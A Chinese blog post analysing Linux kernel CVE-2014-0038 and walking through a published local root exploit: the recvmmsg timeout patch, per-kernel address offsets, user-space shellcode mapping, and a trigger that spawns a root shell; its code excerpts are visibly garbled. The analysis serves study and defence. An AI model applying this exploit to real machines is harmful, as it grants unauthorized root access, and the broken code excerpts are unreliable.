关键字:CVE-2014-0038,内核漏洞,POC,利用代码,本地提权,提权,exploit,cve analysis, privilege escalation, cve, kernel vulnerability

简介

2014年1月31号时,solar在oss-sec邮件列表里公布了该CVE(cve-2014-0038)。这个CVE涉及到X32 ABI。X32 ABI在内核linux3.4中被合并进来,但RHEL/fedora等发行版并没有开启该编译选项,因此未受该CVE影响。Ubuntu系统在近期的版本中开启了该选项,因此收该CVE影响。X32 ABI就是在64位环境中使用32位地址,效率有所提升,相关信息请参照参考资料或google。

漏洞原理

先看该CVE对应的patch

 #!c++
 diff --git a/net/compat.c b/net/compat.c
 index dd32e34..f50161f
 --- a/net/compat.c
 +++ b/net/compat.c
 @@ -, +, @@ asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg,
     if (flags & MSG_CMSG_COMPAT)
         return -EINVAL;

 -   if (COMPAT_USE_64BIT_TIME)
 -       return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
 -                     flags | MSG_CMSG_COMPAT,
 -                     (struct timespec *) timeout);
 -
     if (timeout == NULL)
         return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                       flags | MSG_CMSG_COMPAT, NULL);

 -   if (get_compat_timespec(&ktspec, timeout))
 +   if (compat_get_timespec(&ktspec, timeout))
         return -EFAULT;

     datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen,
                    flags | MSG_CMSG_COMPAT, &ktspec);
 -    && put_compat_timespec(&ktspec, timeout))
 +    && compat_put_timespec(&ktspec, timeout))
         datagrams = -EFAULT;

     return datagrams;

该CVE引入的原因就是没有对用户空间的输入信息进行拷贝处理,直接将用户空间输入的timeout指针传递给__sys_recvmmsg函数进行处理。

正如patch中的修改方式,当timeout参数非空时,调用compat_get_timespec先对timetout进行处理,而该函数会对用户空间的timeout进行copy处理。

 #!c++
 int compat_get_timespec(struct timespec *ts, const void __user *uts)
 {
         if (COMPAT_USE_64BIT_TIME)
                 ;
         else
                 return get_compat_timespec(ts, uts);
 }

那么我们再来看传递进来的timeout会进行什么操作呢?在 __sys_recvmmsg里面。

 #!c++
 /*
  *     Linux recvmmsg interface
  */

 int __sys_recvmmsg(int fd, struct mmsghdr __user *mmsg, unsigned int vlen,
            unsigned int flags, struct timespec *timeout)
 {
     int fput_needed, err, datagrams;
     struct socket *sock;
     struct mmsghdr __user *entry;
     struct compat_mmsghdr __user *compat_entry;
     struct msghdr msg_sys;
     struct timespec end_time;

     if (timeout &&
         poll_select_set_timeout(&end_time, timeout->tv_sec,
                     timeout->tv_nsec))
         return -EINVAL;

     datagrams = ;

     sock = sockfd_lookup_light(fd, &err, &fput_needed);
     if (!sock)
         return err;

     err = sock_error(sock->sk);
     if (err)
         goto out_put;

     entry = mmsg;
     compat_entry = (struct compat_mmsghdr __user *)mmsg;

     while (datagrams < vlen) {
         /*
          * No need to ask LSM for more than the first datagram.
          */
         if (MSG_CMSG_COMPAT & flags) {
             err = ___sys_recvmsg(sock, (struct msghdr __user *)compat_entry,
                          &msg_sys, flags & ~MSG_WAITFORONE,
                          datagrams);
             )
                 break;
             err = __put_user(err, &compat_entry->msg_len);
             ++compat_entry;
         } else {
             err = ___sys_recvmsg(sock,
                          (struct msghdr __user *)entry,
                          &msg_sys, flags & ~MSG_WAITFORONE,
                          datagrams);
             )
                 break;
             err = put_user(err, &entry->msg_len);
             ++entry;
         }

         if (err)
             break;
         ++datagrams;

         /* MSG_WAITFORONE turns on MSG_DONTWAIT after one packet */
         if (flags & MSG_WAITFORONE)
             flags |= MSG_DONTWAIT;

         if (timeout) {
             ktime_get_ts(timeout);
             *timeout = timespec_sub(end_time, *timeout);
             ) {
                 timeout->tv_sec = timeout->tv_nsec = ;
                 break;
             }

             /* Timeout, return less than vlen datagrams */
              && timeout->tv_sec == )
                 break;
         }

         /* Out of band data, return right away */
         if (msg_sys.msg_flags & MSG_OOB)
             break;
     }

 out_put:
     fput_light(sock->file, fput_needed);

     )
         return datagrams;

     ) {
         /*
          * We may return less entries than requested (vlen) if the
          * sock is non block and there aren't enough datagrams...
          */
         if (err != -EAGAIN) {
             /*
              * ... or  if recvmsg returns an error after we
              * received some datagrams, where we record the
              * error to return on the next call or if the
              * app asks about it using getsockopt(SO_ERROR).
              */
             sock->sk->sk_err = -err;
         }

         return datagrams;
     }

     return err;
 }

该函数中对

  #!c++  poll_select_set_timeout(&end_time, timeout-> timeout->tv_nsec)) 

。设定结束时间。 然后如下的代码保证timeout>=0

 #!c++
 if (timeout) {
     ktime_get_ts(timeout);
     *timeout = timespec_sub(end_time, *timeout);
     ) {
         timeout->tv_sec = timeout->tv_nsec = ;
         break;
     }

     /* Timeout, return less than vlen datagrams */
      && timeout->tv_sec == )
         break;
 }

此外,poll_select_set_timeout会对timespec进行检查,因此传递进来的timeout的tv_sec与tv_nsec必须符合timeout结构体,也就是构造利用地址的时候,地址上下文必须符合特定内容。

 #!c++
 /*
  * Returns true if the timespec is norm, false if denorm:
  */
 static inline bool timespec_valid(const struct timespec *ts)
 {
         /* Dates before 1970 are bogus */
         )
                 return false;
         /* Can't have more nanoseconds then a second */
         if ((unsigned long)ts->tv_nsec >= NSEC_PER_SEC)
                 return false;
         return true;
 }

而 include/linux/time.h中的定义:#define NSEC_PER_SEC 1000000000L

到这里我们知道,只要巧妙的利用timeout的这个特定,构造特定的timeout结构体就可以构造一个特定的地址出来,这样我们就实现提权操作了。

利用代码分析

当前在exploit-db上有2个利用代码,利用原理基本相同,只是选用的构造地址的结构体不同,本文选用http://www.exploit-db.com/exploits/31347/中的exploit代码进行分析。

本exploit代码和其他很多内核提权代码利用方式大致相同,通过使用有漏洞的系统调用将一个特定的内核函数地址修改成用户空间地址,然后将提权代码映射到对应地址的用户空间中,这样当用户调用被修改的特定函数时,内核便执行了相关的提权代码。以下对应该利用代码进行详细说明。

大家都知道,在64位系统中,由于地址较多,内核空间和用户空间只需通过高几位是否为0或1进行区分,内核空间地址的范围是0xffff ffff ffff ffff~0xffff 8000 0000 0000,而用户空间的地址范围是0x0000 7ffff ffff ffff~0x0000 0000 0000 0000。因此只需使用timeout的流程将高位的1变成0即可。

该exploit代码使用net_sysctl_root结构体的net_ctl_permissions函数指针进行利用。由于各个内核版本中不同函数对应的地址不同,因此定义了一个结构体存放各个内核内核版本的函数地址,这样就可以在多个写了特定内核地址的内核上完成提权操作。

 #!c++
 struct offset {
     char *kernel_version;
     unsigned long dest; // net_sysctl_root + 96
     unsigned long original_value; // net_ctl_permissions
     unsigned long prepare_kernel_cred;
     unsigned long commit_creds;
 };

 struct offset offsets[] = {
     {,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
     {"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
     {"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
     {NULL,,,,}
 };

Exploit程序开始就使用该函数映射结构体对当前内核进行检查,获取出要使用的函数地址指针offsets[i]

然后使用net_ctl_permissons的地址进行页对齐,之后将高6*4位变成0,即设定为用户空间地址。

  #!c++  mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) -  mmapped &= 0x000000ffffffffff; 

之后以该地址为基址map一段内存空间,设定该map区域可写、可执行。先用0x90填充该map区域,构造滑梯。然后将提权代码拷贝到该map区域。

 #!c++
 mmapped = (, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, , );

 ) {
     perror("mmap()");
     exit(-);
 }

 memset(();

 memcpy(();

 , PROT_READ|PROT_EXEC) != ) {
     perror("mprotect()");
     exit(-);

提权代码是非常传统的内核提权代码,通过调用commit_creds修改进程creds数据结构。注意commit_credsprepare_kernel_cred也是由特定于内核版本的内核地址信息获得,因此也包含在offset结构体中,需要依据特定的内核版本进行设定。

 #!c++
 )))
 getroot(void *head, void * table)
 {
     commit_creds(prepare_kernel_cred());
     ;
 }

 )))
 trampoline()
 {
     asm("mov $getroot, %rax; call *%rax;");
 }

准备环境已经就绪,接下来就需要调用有漏洞的__NR_recvmmsg来进行地址修改。即修改net_sysctl_rootpermissions指针的数值。

 #!c++
 static struct ctl_table_root net_sysctl_root = {
         .lookup = net_ctl_header_lookup,
         .permissions = net_ctl_permissions,
 };

而ctl_table_root的定义为:

 #!c++
 struct ctl_table_root {
         struct ctl_table_set default_set;
         struct ctl_table_set *(*lookup)(struct ctl_table_root *root,
                                            struct nsproxy *namespaces);
         int (*permissions)(struct ctl_table_header *head, struct ctl_table *table);
 };

通过计算ctl_table_root可知:Permissions的位置为net_sysctl_root+96

这样依次使用系统调用的timeout将.permissions的值的高6*4位从之前的1修改为0即可。

 #!c++
 ;i <  ;i++) {
     udp(i);
     retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, , (-i);
     if(!retval) {
         fprintf(stderr,"\nrecvmmsg() failed\n");
     }
 }

通过使用三次该系统调用,依次将0xFF** **** **** ****,0x00FF **** **** ****, 0x0000 FF** **** ****FF修改为00.

执行完毕后,提权程序成功将permissions指向了填充了提权代码的用户空间中。注意:这里必须从高位开始处理,由于各个程序是并行处理的,因此无法准确的保证timeout值和sleep值完全匹配,又由于timeout值的tv_sec>=0,因此只要从高位依次处理就可以避免借位的情况发生。这里也是结构体选取的条件之一。

由于0xff*3 = 765,因此该提权程序需要13分钟才能将permissions指向的地址值变成用户空间的地址值。

万事具备,只欠东风。只要用户调用修改后的net_sysctl_root->permissions即可。

 #!c++
 void trigger() {
     open("/proc/sys/net/core/somaxconn",O_RDONLY);

     ) {
         fprintf(stderr,"not root, ya blew it!\n");
         exit(-);
     }

     fprintf(stderr,"w00p w00p!\n");
     system("/bin/sh -i");
 }

到此,该CVE分析完毕。不得不说该CVE的原理虽然比较简单,但实现最后利用修过的手法还是非常巧妙的,值得学习。

参考

1、http://en.wikipedia.org/wiki/X32_ABI

CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0的更多相关文章

  1. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  2. RHSA-2017:2930-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  3. RHSA-2017:1842-重要: 内核 安全和BUG修复更新(需要重启、存在EXP、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  4. RHSA-2018:0395-重要: 内核 安全和BUG修复更新(需要重启、本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  5. RHSA-2017:2299-中危: NetworkManager 和 libnl3 安全和BUG修复更新(本地提权、代码执行)

    [root@localhost ~]# cat /etc/redhat-release CentOS Linux release 7.2.1511 (Core) 修复命令: 使用root账号登陆She ...

  6. CVE-2017-16995 Ubuntu16.04本地提权漏洞复现

    0x01 前言 该漏洞由Google project zero发现.据悉,该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意 ...

  7. Potato家族本地提权分析

    原文来自SecIN社区-作者:Zeva 0x00 前言 在实际渗透中,我们用到最多的就是Potato家族的提权.本文着重研究Potato家族的提权原理以及本地提权细节 0x01 原理讲解 1.利用Po ...

  8. Linux Kernel ‘perf’ Utility 本地提权漏洞

    漏洞名称: Linux Kernel ‘perf’ Utility 本地提权漏洞 CNNVD编号: CNNVD-201309-050 发布时间: 2013-09-09 更新时间: 2013-09-09 ...

  9. Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞

    漏洞名称: Linux Kernel ‘kvm_set_memory_region()’函数本地提权漏洞 CNNVD编号: CNNVD-201306-343 发布时间: 2013-06-20 更新时间 ...

随机推荐

  1. Jenkis Editable Email Notification Plugin 使用介绍

    Jenkis Editable Email Notification Plugin 使用介绍 前言 Jenkins本身提供的Email插件功能实在有限,只能提供当前Job的基本信息,比如成功.失败以及 ...

  2. C#关于AutoResetEvent的使用介绍(用AutoResetEvent实现同步)

    前几天碰到一个线程的顺序执行的问题,就是一个异步线程往A接口发送一个数据请求.另外一个异步线程往B接口发送一个数据请求,当A和B都执行成功了,再往C接口发送一个请求.说真的,一直做BS项目,对线程了解 ...

  3. ASP.NET Web服务(ASMX)学习和代理生成

    第一步:按照http://www.c-sharpcorner.com/article/getting-started-with-asp-net-web-services-part-one/ 建立项目和 ...

  4. Linux线程的创建

    一.线程与进程的区别 1.线程自己不拥有系统资源,只拥有一点儿在运行中必不可少的资源,但它可与同属一个进程的其它线程共享进程所拥有的全部资源. 2.进程是资源分配的基本单位.所有与该进程有关的资源,都 ...

  5. Windows下检测文件名大小写是否匹配

    跨平台开发有一个众所周知,但因为只是偶尔受到困扰,一般人不会在意的问题,就是windows对文件名大小写不敏感,而其他平台对文件名大小写敏感.因此可能出现在windows平台开发时一切正常,但部署/打 ...

  6. 【G】开源的分布式部署解决方案文档 - Web Deploy

    G.系列导航 [G]开源的分布式部署解决方案 - 导航 微软官方部署方式 右键项目->发布 这个大家应该再熟悉不过,在部署前有个预览界面可以看本次更新到底更新哪些文件. 既然它可以预览部署结果, ...

  7. Struts2基础学习(二)—Action

    一.ActionSupport      为了让用户开发的Action类更加规范,Struts2提供了一个Action接口,这个接口定义了Struts2的Action处理类应该实现的规范.下面是标准A ...

  8. Ubuntu抛弃了Untiy转向Gnome,美化之路怎么办?不用怕咱一步一步大变身!

    跨平台系列汇总:http://www.cnblogs.com/dunitian/p/4822808.html#linux 常用软件安装+系统软件卸载:http://www.cnblogs.com/du ...

  9. 使用 Http 的 Post 方式与网络交互通信

    package zw1; import java.io.BufferedReader;import java.io.BufferedWriter;import java.io.InputStream; ...

  10. python去除文本中的HTML标签

    def SplitHtmlTag(file): with open(file,"r") as f,open("result.txt","w+" ...